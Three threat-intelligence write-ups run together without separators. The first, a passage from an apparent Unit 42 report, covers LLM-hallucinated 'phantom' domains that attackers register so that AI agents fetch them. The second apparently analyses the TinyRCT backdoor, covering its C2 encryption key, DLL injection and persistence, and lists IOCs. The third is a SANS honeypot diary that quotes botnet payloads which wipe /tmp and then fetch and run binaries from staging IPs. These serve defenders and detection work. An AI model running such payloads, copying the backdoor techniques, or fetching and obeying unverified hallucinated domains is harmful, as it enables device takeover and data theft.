AI agent generates a URL to fetch documentation, retrieve an API schema, or download a dependency, that artifact may resolve to a phantom domain controlled by an adversary. The impact in an agentic context is amplified by autonomy. A human user who follows an LLM-recommended URL and reaches a phishing page must still take an action by entering credentials, downloading a file or executing code. Conversely, an autonomous agent that fetches a URL and processes its response could exfiltrate secrets, execute malicious instructions or propagate a compromised dependency through a build pipeline without any human decision point. The 2026 Unit 42 Global Incident Response Report describes an identity-velocity crisis, where attackers compress the window from initial access to exfiltration to under one hour at machine speed. This applies directly to phantom squatting delivered via agentic pipelines. Developer Tooling Risk: AI Coding Assistants and URL Hallucination in the Software Development Lifecycle Modern software engineering workflows have integrated AI coding assistants for tasks that fundamentally require URL generation: Retrieving API documentation Identifying package registries Locating webhook endpoints Architecting integration code. Each interaction represents a potential phantom squatting vector. The Montana Empire case provides a definitive illustration of this risk convergence. The adversary leveraged an AI coding assistant to engineer a phishing kit targeting the exact phantom domain predicted by the LLM's hallucination patterns. AI-assisted attack development and LLM-driven attack delivery are no longer disparate phenomena. They represent two dimensions of a single, structurally inevitable adversarial lifecycle. The risk of phantom squatting is not a theoretical abstraction. Our analysis of 913 global brands and 2.1 million LLM-generated URLs documents a critical supply chain vulnerability: 13,229 confirmed malicious URLs currently being produced by LLMs 250,000 hallucinated phantom domains representing nascent, unregistered infrastructure available for adversarial occupation Real-world threat actor registrations validated via WHOIS analysis, yielding proactive detection lead times of up to 51 days This vector exploits a structural property of LLM architectures that remains inherently unpatchable. Models trained on human-authored corpora will naturally hallucinate plausible-sounding domains for brands, products and services based on internal linguistic patterns. The phantom squatting attack surface systematically expands with every new LLM deployment, the rise of agentic AI capabilities and the targeting of global brands for adversarial hallucination probing. The defensive advantage is equally architectural. Because LLMs hallucinate with predictable consistency, defenders can map the hallucination surface and establish a proactive phantom watchlist before an adversary acts. The AEW — the interval between first hallucination detection and registration — provides concrete, actionable lead time that legacy threat intelligence frameworks cannot offer. Proactive discovery represents the only defensive posture that addresses phantom squatting at its root. By mapping what LLMs will hallucinate and monitoring registration event streams, organizations can respond before weaponization occurs. The capability is established, and the zero-reputation bypass window is open. The critical question is whether defenders or adversaries will act first. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Prisma AIRS can help secure organizations deploying LLM-powered agentic workflows. Koi Agentic Endpoint Security is designed to help discover every AI artifact across the agentic endpoint, assess its risk, enforce prevention & runtime controls, and remediate violations. The Unit 42 AI Security Assessment can help empower safe AI use and development. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. The following domains are presented in partially redacted form. Full unredacted indicators are available on request. SHA256 hash: eb07edaa2786cfddfa4c15526168f2200d85300aee0a8f253b32d2462a7b0bcd File size: 7,958,528 bytes File type: ZIP archive Filename: [redacted].zip (postal e-commerce platform brand name) File location: hxxp[:]//[redacted][.]com/[redacted].zip File description: Montana Empire phishing kit archive — comprises a full brand clone of a national postal service's e-commerce marketplace featuring a PHP backend, real-time storefront scraper, credential capture layer and Telegram-based C2 operator control panel. Related URLs: hxxp[:]//[redacted][.]com/[redacted].zip hxxp[:]//[redacted][.]com/letgovip.zip hxxp[:]//[redacted][.]com/mentalite.php hxxp[:]//[redacted][.]com/panel_track.php hxxp[:]//[redacted][.]com/verify_api.php SHA256 hash: 2202a30daad9928ef47cca5f4ab04ce083692a94428e386fa01c2dd44557e34b File size: 12,649,472 bytes File type: APK (Android application package) Filename: [redacted]post.apk File location: hxxp[:]//[redacted]post-app[.]com/[redacted]post.apk File description: Malicious Android APK delivered via a fraudulent mobile app landing page impersonating a national postal delivery service. Related domain and URL: [redacted]post-app[.]com hxxp[:]//[redacted]post-app[.]com/[redacted]post.apk [redacted]-login[.]com [redacted]benefitsportal[.]com [redacted]-es[.]org [redacted]business[.]com [redacted]empresas[.]com The authors would like to thank Shehroze Farooqi, Joseph Pang and Wanjin Li for their valuable insights and contributions in completing this work. The authors would also like to thank Samantha Stallings, Bradley Duncan, Lysa Myers and Shawn He Shuang for their assistance in the editorial process. Montana Empire Phishing Kit – Palo Alto Networks The Rise of Slopsquatting – Socket blog AI-Induced Supply-Chain Compromise – Al-Zof, A. et al. We Have a Package for You – Kan, M. et al., USENIX Security Unit 42 Global IR Report 2026 – Palo Alto Networks

Throughout 2025, we observed a cluster of activity targeting government entities and critical infrastructure in Southeast Asia. Specifically, the activity targeted state-owned enterprises in the energy and government sectors. The Chinese-speaking attackers behind this cluster, which we track as CL-STA-1062, have been active since at least March 2022. We assess with high confidence that this is the same cluster, known as UAT-7237, that was reported for its campaigns against web hosting infrastructure in Taiwan in mid 2025. We also observed CL-STA-1062 campaigns in earlier operations targeting strategic sectors in East Asia, indicating a broader, sustained regional focus. From a technical standpoint, the attackers behind CL-STA-1062 rely on a hybrid toolkit. While they frequently use common open-source tools such as SoftEther VPN, Mimikatz and VNT, they have recently introduced TinyRCT, a bespoke, previously undocumented backdoor. TinyRCT’s capabilities include: Arbitrary command execution File enumeration and exfiltration Screen capture A self-destruct mechanism We detail the latest campaign linked to CL-STA-1062 against the energy and government sectors in Southeast Asia, and provide a technical analysis of the new TinyRCT backdoor. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. While this article focuses on CL-STA-1062 activity against targets in Southeast Asia during 2025, our telemetry reveals that the attackers behind this cluster have been conducting operations across East Asia since 2022. We assess with high confidence that this is the same activity cluster tracked by Cisco Talos as UAT-7237, previously reported for its campaigns against web hosting infrastructure in Taiwan. Building on recent observed activity, our investigation into CL-STA-1062 activity highlights a broader long-term strategy in the Asia-Pacific region. In September 2025, we discovered that the attackers behind CL-STA-1062 had compromised a Southeast Asian government entity by deploying web shells and exfiltrating database information. Figure 1 shows the command line used to exfiltrate data from an MSSQL server. During this intrusion, the attackers were also able to conduct network reconnaissance on a separate government entity in the same country. This suggests an effort to identify lateral movement opportunities and broaden their access. In one case, we observed the attacker staging and exfiltrating an entire directory of web server source code from the government entity, as Figure 2 shows. Between October and December 2025, we observed the likely compromise of at least ten different organizations in Southeast Asia. Since mid 2025, as part of activities in Southeast Asia, the threat actor behind CL-STA-1062 focused on critical infrastructure. We identified that a critical infrastructure entity had been under attack for several months. The activity within the compromised network was comprehensive, covering the entire attack lifecycle from initial access to data exfiltration. The following month, we discovered that the attackers behind CL-STA-1062 had also compromised two state-owned critical energy infrastructure (CEI) entities in the same Southeast Asian country. We observed attackers scanning the entities for vulnerabilities, shortly followed by outbound requests from the infected networks. These requests connected to attacker-controlled infrastructure and resulted in the victim networks downloading malicious payloads that included SoftEther VPN components and RAR archives containing the group's tools. Figure 3 shows HTTP requests that download the attackers’ tools to the targeted networks. The intrusions we observed typically begin with the attackers exploiting web applications to deploy ASPX web shells. These web shells function as the central mechanism for executing arbitrary commands, dropping additional tooling and conducting initial reconnaissance. As part of our observations of CL-STA-1062, we noted activity sending the results of network and system enumeration directly to an actor-controlled IP address using curl. Figure 4 shows an example of the command lines used. From this foothold, the activity includes open-source tools and custom malware. The attackers also adapt techniques to the target environment. The attackers behind the activity frequently use tunneling tools for command and control (C2) and data exfiltration. They deployed a variety of these tools, including: These tools were often disguised as legitimate system files, such as VMware executables or an XDR agent. Figure 5 shows the command line used by the group to execute a yuze instance. In one case, the attackers used a web shell to extract a password-protected RAR archive containing a SoftEther VPN binary masquerading as vmtools.exe. Figure 6 shows the extraction and execution of the SoftEther VPN binary. In another case, the attackers attempted to disguise VNT as a VMware executable, as shown in Figure 7. In one instance, the attackers used traceroute to identify potential lateral movement paths to another government entity. To escalate privileges, the attackers deployed known open-source tools, such as JuicyPotato. For data staging and exfiltration, they frequently compressed findings into password-protected RAR archives. During our investigation into the campaign's infrastructure, we observed the server at 139.180.134[.]221 hosting a suspicious executable named PerfWatson2.exe. By pivoting on this IP address, we were able to retrieve and analyze the binary, identifying it as a previously undocumented .NET backdoor. Analysis of the binary's internal strings revealed that the authors refer to this tool as TinyRCT. TinyRCT is a lightweight, C#-based remote access Trojan (RAT) targeting Windows. It operates as a backdoor, enabling attackers to execute arbitrary system commands, exfiltrate files, capture screenshots and remotely manage the infected host. Upon execution, the malware performs an environment validation to explicitly verify that it was executed from %LOCALAPPDATA%. If the malware was executed from any other location – such as a sandbox environment or a malware analyst’s desktop – the binary terminates immediately. The execution of TinyRCT can be blocked by implementing strict behavioral monitoring and execution restrictions on untrusted binaries. Figure 8 shows how an execution attempt by the TinyRCT malware, masquerading as PerfWatson2.exe, is prevented and alerted by Cortex XDR. Before entering its main command loop, TinyRCT conducts initial reconnaissance to fingerprint the infected host. It aggregates critical system information to generate a unique victim profile, collecting the following data points: User and system context: Current username, machine name and OS version. Network and execution: Local IP addresses, the complete execution path of the malware and the current process ID (PID). Identity: A randomly generated globally unique identifier (GUID) to serve as the bot's identifier. This data is concatenated, encrypted and immediately transmitted to the C2 server via an HTTP POST request. This registration packet allows the attacker to profile the newly infected host and decide whether to issue further commands or terminate the infection based on the host's assessed value. After successful registration, TinyRCT establishes a persistent communication channel with the C2 server at 45.32.113[.]172. The malware uses standard HTTP for network traffic, but it encrypts all exchanged data using AES-128 encryption in CBC mode. The encryption key (ThisIsASecretKey87654321) and a null Initialization Vector (IV) are hard-coded directly within the binary. The malware operates on a beaconing model, with a default 10-second sleep interval between requests. It polls the C2 server for instructions using GET requests, while it sends exfiltrated data via POST requests. The backdoor is designed for surveillance and remote management and executes a concise set of commands. When the C2 server responds to a beacon, the malware decrypts and parses the payload, and then executes the appropriate commands from the following functions: Shell execution: Executes the command via cmd.exe (or direct process execution) and returns stdout/stderr. Update configuration: Updates the sleep interval. File listing: Enumerates directories and files in the specified path. Returns format: Filename*Date*Size. Read text file: Reads a text file and returns content. Download file: Downloads a file from a URL and saves it to the desired path. Exfiltrate file: Reads a binary file from the requested path, compresses its contents using gzip, encrypts them using AES and sends them to the C2 in 40 KB chunks. Screen capture: Captures the primary screen, saves the capture as a JPEG file, compresses it, encrypts it and sends it to the C2. Self-destruct: Triggers the cleanup routine. Figure 9 shows the C2 server response parsing function of TinyRCT, including a line of code in Simplified Chinese. A notable feature of TinyRCT is its cleanup capability, triggered by the self-destruct command. This routine is designed to remove forensic evidence of the infection. Upon receiving the self-destruct command, the malware first deletes the GoogleUpdater scheduled task created by the loader. It then executes a self-deletion routine using a legacy batch command technique involving the choice.exe program. This routine deletes the malware’s PerfWatson2 executable, as Figure 10 shows. The use of choice.exe creates a three-second delay, ensuring the primary malware process has fully terminated and released its file handle before the delete command executes. Our analysis began with the discovery of the PerfWatson2.exe payload hosted on the attacker’s C2 infrastructure. By pivoting from this artifact, we reconstructed the infection chain, identifying its origin as a malicious archive named chrome_setup.zip. Inside the zip were three files: A legitimate executable A configuration file A malicious DLL This specific combination of files is used to perform AppDomainManager Injection – a technique that exploits the trust relationship between a .NET application and its configuration file. The archive contains a legitimate, signed chrome_setup.exe executable paired with a malicious chrome_setup.exe.config configuration file. When the user runs the executable, the .NET runtime reads the adjacent configuration file. This forces the loading of a malicious DLL (MyAppDomainManager.dll) to act as the application's manager. This allows the malicious code to execute instantly and covertly within the context of a trusted process. Once injected into the legitimate setup process, the malicious MyAppDomainManager.dll functions primarily as a stealthy downloader and persistence enabler. Upon initialization, the malicious loader runs a critical environmental check to validate its execution context. It explicitly verifies that the host process is running from %USERPROFILE%\Downloads — the user’s Downloads directory. If this check fails, it likely indicates the sample was moved to a sandbox or an analyst's desktop, and the loader terminates immediately. Figure 11 shows this check in the loader source code. If the validation passes, the loader contacts the staging server at 139.180.134[.]221 to retrieve the secondary payload. The loader saves this payload to the user’s %LOCALAPPDATA% directory as PerfWatson2.exe, mimicking the legitimate telemetry component associated with Microsoft Visual Studio. To ensure this payload runs continuously without user interaction, the loader constructs and executes a specific schtasks command. This command creates a scheduled task named GoogleUpdaterTaskSystem140.0.7272.0 {ACE7A46F-50FD-481C-AB32-3D838871DB40}. The task is configured to run the malware with the highest available privileges (e.g., /rl highest) every time the user logs on to the system (e.g., /sc onlogon). This ensures that the infection survives system reboots. Our investigation into CL-STA-1062 reveals a persistent activity cluster likely operated by Chinese-speaking actors. The attackers are expanding operations from Taiwan to critical infrastructure and government entities in Southeast Asia. They demonstrated their ability to infiltrate strategic sectors – specifically energy and government organizations. The combination of tools observed in this activity cluster reflects a pragmatic approach to tool selection and attack capabilities. The attackers behind this cluster continue to leverage common open-source tools such as SoftEther VPN and VNT to facilitate lateral movement. Our discovery of the TinyRCT backdoor in the attackers’ infrastructure underscores their ability to customize tools to gain specific capabilities. The combination of targeting critical infrastructure and the development of custom malware suggests that CL-STA-1062 activity will continue to pose a threat to the region. Organizations in Southeast Asia, particularly within the energy and government sectors, should remain vigilant against this evolving activity. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. chrome_setup.zip file: 00e09754526d0fe836ba27e3144ae161b0ecd3774abec5560504a16a67f0087c fscan: f34bd1d485de437fe18360d1e850c3fd64415e49d691e610711d8d232071a0b1 SoftEther VPN: dce5df29bddff5a4ddaea5c4fec14da91f7b69063a6e1c45ed61e5da4fc6c87b TinyRCT downloader: cbfe8de6ffadbb1d396f61e63eb18e8b11c29527c1528641e3223d4c516cf7c3 TinyRCT: 4e1f8888d020decd09799ec946f1bf677cac6612b24582ddbf4d8ede425d8384 VNT: 9b481b69cd91b09fa7bae7428f646dd89473a4c03393e43da81fe756cde1c472 IPv4 addresses: 139.180.134[.]221 202.182.102[.]5 45.76.210[.]43 45.32.113[.]172 URLs: hxxp[:]//139.180.134[.]221/sdksdk608/1.zip hxxp[:]//139.180.134[.]221/sdksdk608/anydesk%5f0117.zip hxxp[:]//139.180.134[.]221/sdksdk608/hamcore.se2 hxxp[:]//139.180.134[.]221/sdksdk608/httpdf hxxp[:]//139.180.134[.]221/sdksdk608/vpn%5fbridge.config hxxp[:]//139.180.134[.]221/sdksdk608/win-vpn.rar hxxp[:]//139.180.134[.]221/PerfWatson2.exe UAT-7237 targets Taiwanese web hosting infrastructure – Cisco Talos VNT - An efficient VPN – GitHub JuicyPotato Malware Family – Malpedia Hijack Execution Flow: AppDomainManager – MITRE ATT&CK® documentation SoftEther VPN – Wikipedia

by Nicole Phillips, SANS.edu BACS Student (Version: 1) [This is a Guest Diary by Nicole Phillips, an ISC intern as part of the SANS.edu BACS program] "I was just sitting here enjoying the company. Plants got a lot to say, if you take the time to listen." — Eeyore, Winnie the Pooh Introduction: Listening to the Static Setting up and contributing to the DShield honeypot project [1] as an ISC intern is a meaningful part of the BACS program at SANS [2]. Over the last several months I've been thrilled to observe real-time SSH/Telnet activity, check every new file hash and TTY log and hunt for unique http requests. That said, reviewing raw honeypot logs can feel overwhelming. Every day, public facing servers are bombarded by millions of identical hits, mostly automated, creating a fog of noise that seems repetitive, yet disconnected and chaotic. After seeing the same sequence of activity day in and day out, it becomes easy to dismiss traffic as loud background static. But like Eeyore's observation of the Hundred Acre Wood, the background noise has a lot to say if you stop to listen. Witnessing the noise helps you understand how to recognize the anomalies. When slowing down and looking more closely at patterns, the fog lifts, revealing layers of orchestration in an automated shadow economy that increasingly drives my curiosity. • What are automated botnets and scanners? • How do they operate? • What are they looking for? • What or who operates behind the scenes, and how mature are their engineering tactics? While I'm unable to fully answer these questions, I will try to deconstruct some of the malicious automated background noise at several tiers, tracing its trajectory from low-level mechanical slips and overlaps to human-mimicking deception. A note on attribution: The assessment that follows references each operation based on its observed "User-Agent" identifier to cluster specific infrastructure and automated behavior; it does not imply definitive attribution of the activity to the original botnet developers. The Commodity Layer: Surface Noise Much of the malicious noise consists of bots and automated scripts scanning blindly for vulnerable IoT devices. These are the weeds of this ecosystem, initially ignored, until one day the entire garden is overrun. In the digital space, this appears as low-level static. It's easy to assume that exploits will reveal themselves out of the static through standard telemetry. I've learned through this internship, however, that malicious activity at this layer is much simpler. Attackers are not knocking down doors; they are walking right through them. Because so much of network defense is inherently reactive, a lot of this activity simply gets missed. While the operators exhibit technical limitations and sloppy mistakes, they succeed because they are paying attention. Through automation, mass trial and error campaigns, and volume that outpaces patching and CVEs, these operators can find and weaponize simple gaps that go unnoticed. My web honeypot captured traffic that illustrates this dynamic. Terrabot: The Disposable Swarm TerraBot is an aggressive IoT botnet variant derived from Mirai and Gafgyt source code frameworks that scans the internet for exploits to weaponize and build its network of compromised devices [3]. The User-Agent string, terrabot-owned-you appears repeatedly in my logs. Between May 28 and June 9 my honeypot saw 24 hits from 24 unique IPs, all with the same User-Agent string. The vast majority – 17 of the 24 hits – targeted the /GponForm/diag_Form?images/ endpoint, while 6 hits delivered a payload targeting a known unauthenticated command injection vulnerability affecting legacy D-Link DSL gateway routers (CVE-2016-20017) using a staging server at hxxp://140[.]233.190, 47.as shown below: Figure 1: Terrabot payload attempting unauthenticated command injection against legacy D-Link DSL routers (CVE-2016-20017) Interestingly, Terrabot's automation failures begin with the first hit in my logs, a POST request to /GponForm/diag_Form?images/ attempting to exploit an authentication bypass flaw (CVE-2018-10561) in Dasan GPON routers. While the logs show the correctly formatted URL string, the exploit requires the POST action to actively inject the malicious payload into the router's ping diagnostic tool via the request body. My logs show each of these hits as entirely empty. This botnet was not performing reconnaissance; it was shooting blanks. Activity against these two endpoints continued over the next 11 days, always from unique IPs. Terrabot's campaign ends with a stand-alone event that further confirms its brokenness. On June 9, the following request hit from source IP: 176.116.165.207: The payload above targets a well-known unauthenticated remote code execution (RCE) backdoor found in legacy MVPower CCTV DVRs, commonly known as the JAWS Webserver RCE (CVE-2016-20016), exploited in the wild between 2017 and 2022. The "JAWS" reference relates to the embedded JAWS web-server and self-identification in HTTP response headers. Had the request been correctly formatted, the /shell endpoint would have executed in the device's root terminal as follows: • cd /tmp; rm -rf * - Eviction: the bot clears out temporary memory to aggressively wipe out competing malware strains or previous installs • wget+140.233.190.47/jaws - Staging Endpoint: the device reaches out to fetch the jaws binary, hosted on a known malicious endpoint • chmod 777 jaws; sh jaws; ./jaws - Execution: this forces max permissions and attempts to execute the payload simultaneously as both a shell script and compiled binary to ensure successful takeover. This exploit failed due to a simple formatting bug. The script author inserted an unencoded, raw space character directly after wget+ instead of standard URL encoding, causing the web server to reject the request. In HTTP protocol formatting, a single blank space acts as a delimiter separating the URI path from the HTTP Version string. Because of this unencoded space, the honeypot immediately rejected the connection with a 400 Bad Request Syntax error, highlighting sloppy, copy-pasted scripting templates that break due to simple human errors. Figure 2: Wireshark stream showing honeypot returning HTTP 400 Bad Request syntax error After a short burst of static, this event on June 9, 2026 is the last appearance of Terrabot in my logs. That said, its presence on the /login.cgi?cli=... endpoint marks the spot where it crossed paths with a more structurally sound campaign. r00ts3c: The Tactical Shift A second familiar string appears across my logs: r00ts3c-owned-you, and traces back to June 6, 2026, with the first hit from source IP 124.71.175.215. Same naming convention as Terrabot, same Mirai lineage, but a different target. This one has a detail buried in the infrastructure that complicates the "commodity" label. The activity begins on June 6 with a generic entry point: a direct request to a hardcoded debugging console backdoor shell to the hxxp://176[.]65.149.168 staging server to fetch kaizen.arm, a binary specifically targeting ARM processors. Figure 3: Initial r00ts3c entry attempting to fetch and execute the kaizen.arm binary via a debugging console backdoor The command string above is broken down as follows: • GET /shell? - Entry: The entry point debugging console • cd /tmp; rm -rf * - Mass Eviction: Like Terrabot, this wipes everything. We will see shortly why this is interesting. • wget hxxp://176[.]65.149.168/bins/kaizen.arm - Staging Endpoint: Fetches the kaizen.arm payload from a remote staging server • chmod 777 kaizen.arm; ./kaizen.arm - Execution: Sets execution permissions and runs the binary. Two days later on June 8, the activity continues with two POST requests to /UD/?9 and /UD/act?1, which are control endpoints for many consumer routers that use SOAP to communicate over HTTP [4]. Both requests contain the same staging server as the previous: On the same day, the next request hits /tmUnblock.cgi, a CGI endpoint in Linksys E-series routers carrying a critical command injection vulnerability (CVE-2025-34037). While documented since 2013 and historically exploited by "TheMoon" worm, this vulnerability continues to be actively weaponized by modern botnets [8]. Figure 4: r00ts3c targeting SOAP-based /UD router control endpoints using the primary 176.65.149.168 staging server. SANS ISC has been tracking the vulnerability since Feb 2014 [7], and this specific endpoint since September 2019. The following POST request is from source IP 119.96.223.148 out of Wuhan, China: Figure 5: r00ts3c payload targeting Linksys routers (CVE-2025-34037). Note the hardcoded 188.166.41.194 DigitalOcean IP in the HTTP Host header. Here, the injection occurs in the ttcp_ip field, which is a router diagnostic parameter expecting an IP address for TCP throughput testing. Passing -h gives it an invalid value, causing the utility to fail and triggering the shell to move to the backtick-wrapped command chain: • cd /tmp; rm -rf kaizen.mpsl - Targeted eviction: Where Terrabot's final hit ran rm -rf * and wiped everything, this removes only the kaizen binary, leaving other resident malware untouched and reducing noise on the compromised device. Note that on it's first hit, r00ts3c also wiped everything. • wget hxxp://176[.]65.149.168/bins/kaizen.mpsl - Staging Endpoint: Fetches the new kaizen.mpsl payload from a remote staging server • chmod 777 kaizen.mpsl; ./kaizen.mpsl linksys - Execution: Sets execution permissions and runs the binary with "linksys" passed as a runtime argument The .mpsl extension identifies a MIPS Little Endian compiled binary, the architecture inside Linksys E-series hardware and a payload built specifically for this target class. Despite this tactical maturity in payload management, a closer look at the raw HTTP headers reveals the same sloppy engineering. In the June 8 request from the Wuhan node shown above, the HTTP Host header reads: "Host":"188.166.41.194:80". In a properly formatted request, the Host header should reflect the IP address of the destination server (my honeypot IP). Instead, this bot is broadcasting the IP address of a completely unrelated DigitalOcean server. This hard-coding error is a recurring theme here. In other instances with r00ts3c, as well as Terrabot's JAWS attempt, the header is hardcoded as Host: 127.0.0.1:80, the loopback address used for local building and sandbox testing. The operators failed to configure these variables before releasing the bots, demonstrating hastily assembled and structurally flawed delivery systems. Wrapping up June 8, we see one final POST request, specifically targeting CVE-2016-20017, coming from source IP 20.210.107.25, with a nearly identical payload as Terrabot's D-Link campaign: Figure 6: r00ts3c D-Link exploit attempt (CVE-2016-20017) originating from Microsoft Azure cloud infrastructure. The 20.x IP belongs to Microsoft Azure. The geolocation points to an anonymous fallback for cloud infrastructure that cannot be resolved to a specific location (the literal geographic center of the United States). For the next 6 days, r00ts3c was silent, picking up again on June 14, from the same 20.210.107.25 IP, only this time targeting the /tmUnblock.cgi endpoint on port 80. Four more hits followed over the next 24 hours, repeating the /UD endpoints and pointing to the same staging server. On June 17, the bot seemed to loop back to the initial request seen on June 6, only this time from an IP out of Ukraine, pointing to a new staging server: itself, at hxxp://83.142.209.46, also fetching the kaizen.arm binary. The following day, the Azure node strikes again, essentially returning to hit the /shell backdoor one last time. This final request reverted to the original script, attempting to fetch kaizen.arm from the primary staging server at hxxp://176.65.149.168. Ultimately, this single Ukraine P2P entry demonstrates that embedded within the background noise are the structural indicators of how the automated botnets adapt, decentralize and survive. rondo (aka: RondoDox): The Deep Precursor Almost a month before r00ts3c appeared in my logs, a different operator found the perimeter. However, parsing earlier logs revealed that the rondo infrastructure had been silently active since as early as May 2. These logs reveal that the "commodity noise" may often mask highly sophisticated, enterprise-grade attacks. This campaign, tracked by the threat intelligence community as the RondoDox botnet[5], unfolded across three distinct phases in my logs. Phase 1: The Enterprise & AI Shotgun Source IP: 124.198.131.185 | C2: 45.92.1.50 The first 8 hits from this campaign originated from source IP 124.198.131.185 (Spark New Zealand). During this first phase, the operator targeted high-value enterprise and AI frameworks, utilizing a primary staging server located at hxxp://45[.]92.1.50. These initial hits highlight a more sophisticated execution chain: • Log4Shell WAF Evasion (CVE-2021-44228): The attacker utilized environment variable manipulation within the User-Agent string to successfully bypass basic Web Application Firewalls. The end of the string contains a Base64 encoded command. Decoding it reveals the fileless execution payload: • The Header Spray: Reviewing the JSON logs from the early May events reveals more characteristics of automated broad-spectrum scanning. In addition to dropping the exploit into the User-Agent string, rondo maximized probability of success by forcing the obfuscated exploit into every possible HTTP header: • ShadowRay (CVE-2023-48022): Along with the Tomcat attacks, rondo launched targeted hits against the /api/jobs/ endpoint, mimicking standard interactions via python-requests while deploying the fileless loader payload string rondo.wfh.sh directly into memory: Phase 2: The Infrastructure Shift Source IP: 124.198.131.185 | C2: 204.10.194.134 After the first 8 hits between May 2 and May 3, a clean structural break occurred, and the botnet was silent until May 16, when it resurfaced and fired 5 more hits between May 16 and May 17. While the source IP remained identical, the C2 shifted to a new staging server at hxxp://204[.]10.194.134. rondo also pivoted away from enterprise exploits, firing a succession of command injection attacks at several consumer-grade router interfaces: • LB-LINK Command Injection (CVE-2023-26801): Discovered in March 2023 and still active, this vulnerability allows an attacker to execute commands on the device by sending crafted HTTP POST requests to the /goform/set_LimitClient_cfg URL. By setting the "time1" and "time2" fields to "00:00-00:00" and injecting arbitrary commands into the "mac" field, an attacker may then execute the command chain on the device. •Decoded log payload: • ASUS AsusWRT NVRAM Manipulation (CVE-2018-6000): An unauthenticated attacker may enable a hidden background debugging console by submitting a POST request to the /vpnupload.cgi endpoint, allowing arbitrary command execution. • DShield form data payload: name=\"ateCommand_flag\"\r\n\r\n1 This mid-campaign rotation proves that even commodity botnets possess centralized coordination, updating the configuration of infected edge devices on the fly without needing to re-compromise them. Phase 3: The Residential Drift Source IP: 124.198.131.22 | C2: 204.10.194.134 The final 8 hits of the campaign demonstrate the physical constraints of operating a botnet through consumer hardware. The activity was silent for about 10 days after the last hit on May 17. When it picked back up on May 28, the source IP shifted its last octet to 124.198.131.22, reflecting a standard DHCP lease renewal within the same residential IP pool. Between May 28 and May 29, 8 hits from this new IP targeted two specific endpoints: the legacy Linksys /tmUnblock.cgi interface and the LB-LINK /goform/set_LimitClient_cfg endpoint, drawing payloads from the secondary 204.10.194.134 server. The target is the same /tmUnblock.cgi endpoint seen with r00ts3c. The query string carries the same base64 value: L3RtVW5ibG9jay5jZ2k=, which decodes to /tmUnblock.cgi, pointing to a shared underlying scanner template. The rondo payload, however, is again fileless: After the IP shift, the timing intervals between the final hits were highly irregular, ranging from two to six hours apart and occurred exclusively during local waking hours in Auckland (NZST, UTC+12). 1: RondoDox Phase 3 scanning activity (Source IP: 124.198.131.22) correlated with local waking hours in Auckland, New Zealand (NZST). All of these hits reflect waking household hours in Auckland, with zero overnight activity. Here, the bandwidth constraints, connectivity interruptions, and activity patterns of a real household bleed into the attack data. The device in Auckland is not server infrastructure rondo provisioned. It is a victim, now scanning for more victims exactly like itself. This is the Mirai replication loop in concrete log data: Router gets compromised → router becomes scanner → scanner hunts routers → repeat. The botnet is residential infrastructure, not routed through it. The owner of that Auckland router has no idea that their device spent late May probing a Linksys vulnerability between noon and midnight. The irregular scan timing is simply a household schedule leaking through a compromised gateway. Conclusion: The Depth of the Noise Eeyore was right: the background has a lot to say. Across this 30-day observation window, the commodity threat layer showed that it is not monolithic. To dismiss automated scans as simple background static is to overlook a competitive, multi-tiered system running continuously beneath the surface of normal network activity, a shadow economy with its own supply chains, infrastructure patterns, and operational rhythms. At the surface, we find campaigns like Terrabot and r00ts3c, scanning for and blasting decades old CVEs with flawed scripts and clumsy engineering. Deeply beneath lies RondoDox, aggressively gathering exploits that target a large range of systems, from consumer-grade hardware to enterprise web-servers and AI frameworks, systematically deploying sophisticated fileless exploit chains while running off of compromised home routers [6]. Threat actors are fundamentally efficient. They do not segment their operations into neat "commodity" or "advanced" categories. They use the exact same disposable infrastructure to scan the entire internet, relying on the persistent gap between what our systems check and what they assume. Ultimately, they don't need sophisticated exploits to inflict damage but weaponize simplicity and high-volume automation that outpaces mitigation. For network defenders and analysts, it's important to understand the depth of the noise and how it should be treated. Observing patterns and structural shifts within the static is essential for keeping pace with an automated, multi-directional threat that never stops running. The infrastructure persists, campaigns evolve, payloads update, and the ports keep listening. [1] https://isc.sans.edu/honeypot.html [2] https://www.sans.edu/cyber-security-programs/bachelors-degree/ [3] https://www.socdefenders.ai/threats/07c347ba-6a9c-44bc-956d-5dde426c673d [4] https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ [5] https://www.bitsight.com/blog/rondodox-botnet-infrastructure-analysis [6] https://www.securityweek.com/rondodox-botnet-targeted-174-vulnerabilities/ [7] https://isc.sans.edu/diary/17633 [8] https://www.sentinelone.com/vulnerability-database/cve-2025-34037/ Disclosure: Gemini supported polish and grammar checks, certain technical explanations, and assistance with locating hard-to-find sources. All such links, source material and commands were independently verified, while all research, event discovery and authorship remain my own. ----------- Guy Bruneau IPSS Inc. My GitHub Page Twitter: GuyBruneau gbruneau at isc dot sans dot edu

